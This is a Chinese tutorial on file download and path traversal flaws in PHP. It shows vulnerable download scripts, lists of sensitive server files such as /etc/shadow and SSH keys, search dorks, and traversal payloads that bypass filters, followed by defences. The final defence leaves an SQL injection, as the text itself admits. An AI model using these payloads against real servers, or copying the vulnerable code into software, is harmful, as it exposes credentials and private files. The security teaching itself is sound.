文件下载漏洞
一、文件下载漏洞概述
概述
任意文件读取 / 下载漏洞(Arbitrary File Read / Download Vulnerability),是指攻击者可以通过某些漏洞,绕过应用程序的限制,直接读取或下载应用程序之外的文件。
文件下载功能在很多WEB系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
这种漏洞通常是由于应用程序没有对用户输入进行充分的验证和过滤而导致的。攻击者可以通过构造恶意的请求来利用该漏洞,从而读取或下载他们本来无权访问的文件,如密码、私钥、证书等,会提供攻击者更多可用信息,提高被入侵的风险,对服务器进行进一步的威胁和攻击。
文件下载漏洞类型
任意文件下载:当应用程序未能限制可下载文件的范围时,攻击者可以下载服务器上的任意文件,包括配置文件、源代码、数据备份等。
路径遍历:路径遍历(也称目录遍历)漏洞允许攻击者通过修改URL或文件请求参数,来访问服务器上的目录以外的文件。攻击者通常使用“../”序列来尝试访问父目录。
文件下载漏洞危害
- 下载服务器任意文件,如脚本代码、服务及系统配置文件、日志文件等。
- 可用得到的代码进一步代码审计,得到更多可利用漏洞
文件下载漏洞存在危害点
- 存在读取文件的功能点
- 存在下载文件的功能点
- 提供文件查看或下载功能点
- 从链接上看,类似这些,有可能就存在任意下载漏洞点
download.php?path=
download.php?file=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=
百度搜索
inurl:readfile.php?file=
inurl:download.php?file=
常用敏感目录
Windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
文件下载演示
filelist.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件下载</title>
</head>
<body>
<?php
function readAll($dir){
$files = scandir($dir);
foreach ($files as $file) {
if($file != '.' && $file != '..'){
$path = $dir . "/" . $file;
echo "<li><a href='download.php?file=$path'>$file</a></li>";
}
}
}
?>
<ul>
<?php
$dir = "upload";
readAll($dir)
?>
</ul>
</body>
</html>
download.php
<?php
$file = $_GET["file"];
// $dir = "upload";
// $file = $dir . "/" . $file;
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ". filesize($file));
echo file_get_contents($file);
?>
二、文件下载防御与绕过
替换 ../
防御与绕过
$file = str_replace("../", "",$file);
双写绕过
http://www.dlrb.com/wowo/download.php?file=upload/....//....//....//....//....//....//....//....//....//....//....//etc/passwd
$file = str_replace("../", "url_waf",$file);
同级文件下载
http://www.dlrb.com/wowo/download.php?file=download.php
绝对路径下载
http://www.dlrb.com/wowo/download.php?file=/etc/passwd
用户使用二次解码 程序员对php过分谨慎
$file = urldecode($file);
http://www.dlrb.com/wowo/download.php?file=%2Fetc%2Fpasswd
后端固定前缀
防御
前端
function readAll($dir){
$files = scandir($dir);
foreach ($files as $file) {
if($file != '.' && $file != '..'){
echo "<li><a href='download.php?file=$file'>$file</a></li>";
}
}
}
download.php
<?php
$file = $_GET["file"];
$dir = "upload";
$file = $dir . "/" . $file;
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ". filesize($file));
echo file_get_contents($file);
?>
绕过(目录飞跃)
http://www.dlrb.com/wowo/download.php?file=../../../../../../../etc/passwd
后端固定后缀
防御
前端
function readAll($dir){
$files = scandir($dir);
foreach ($files as $file) {
if($file != '.' && $file != '..'){
$path = "upload/" . str_replace(".jpg","",$file);
echo "<li><a href='download.php?file=$path'>$file</a></li>";
}
}
}
download.php
<?php
$file = $_GET["file"];
$file = $file . ".jpg";
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ". filesize($file));
echo file_get_contents($file);
?>
绕过(远程访问?&拼接后缀为参数)
使用远程文件下载绕过,可以通过 ? 或者 & 绕过后缀名称,远程文件没办法下载除项目外的其他文件
远程文件下载绕过
http://www.dlrb.com/woniu/download.php?file=http://www.dlrb.com/woniu/upload/abc.php?a=1
http://www.dlrb.com/woniu/upload/abc.php?a=1.jpg
有可能会将?转化为_导致无法使用?进行后缀绕过属于服务器行为
伪协议绕过
不太建议使用这个,把一个简单的问题转化为了一个复杂的问题
后端固定前缀 + 后缀
基乎无解,需要猜测文件的后缀名,必须对目标服务器中的路径非常熟悉,只能下载特定的文件
防御
function readAll($dir){
$files = scandir($dir);
foreach ($files as $file) {
if($file != '.' && $file != '..'){
$file = explode('.',$file)[0];
echo "<li><a href='download.php?file=$file'>$file</a></li>";
}
}
}
download.php
<?php
$file = $_GET["file"];
$file= $dir . "/" . $file . ".jpg";
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ". filesize($file));
echo file_get_contents($file);
?>
下载同项目下的其他图片
http://www.dlrb.com/woniu/download.php?file=../../../../../../../../../../opt/lampp/htdocs/news/upload/1715923252
../../../../../../../../../../opt/lampp/htdocs/news/upload/1715923252.jpg
下载白名单 - 无解
防御
前端
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件下载</title>
</head>
<body>
<?php
function readAll($dir){
$files = scandir($dir);
foreach ($files as $file) {
if($file != '.' && $file != '..'){
$fileinfo = explode('.',$file);
$file = $fileinfo[0];
$ext = $fileinfo[1];
echo "<li><a href='download.php?file=$file&ext=$ext'>$file.$ext</a></li>";
}
}
}
?>
<ul>
<?php
$dir = "upload";
readAll($dir);
?>
</ul>
</body>
</html>
download.php
<?php
$file = $_GET["file"];
$ext = $_GET["ext"];
$ext_w = ["jpg","png","xlsx","pdf"];
if(in_array($ext,$ext_w)){
$dir = "upload/";
$file= $dir . "/" . $file . "." . $ext;
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ". filesize($file));
echo file_get_contents($file);
}else {
echo "非法请求,随时报J";
}
?>
将真实的文件名存放在数据库 - 无解
将真实的文件名存放在数据库,使用文件的id来进行文件的下载,URL中实际看到的是一个id,文件下载失效但是有可能存在SQL注入
防御
前端
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件下载</title>
</head>
<body>
<?php
include_once "database.php";
$db = new DB();
$sql = "select id,name,path from file";
$result = $db->select($sql);
if(count($result)){
foreach ($result as $row) {
echo "<li><a href='download.php?file=".$row['id']."'>".$row['name']."</a></li>";
}
}
?>
<ul>
</ul>
</body>
</html>
download.php
<?php
include_once "database.php";
$db = new DB();
$file = $_GET["file"];
$sql = "select id,name,path from file where id = '$file'";
$result = $db->select($sql)[0];
if ($result){
$filename = $result['name'];
$fileurl = $result['path'];
$file = $fileurl ."/".$filename;
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ". filesize($file));
echo file_get_contents($file);
}else {
echo "文件不存在";
}
?>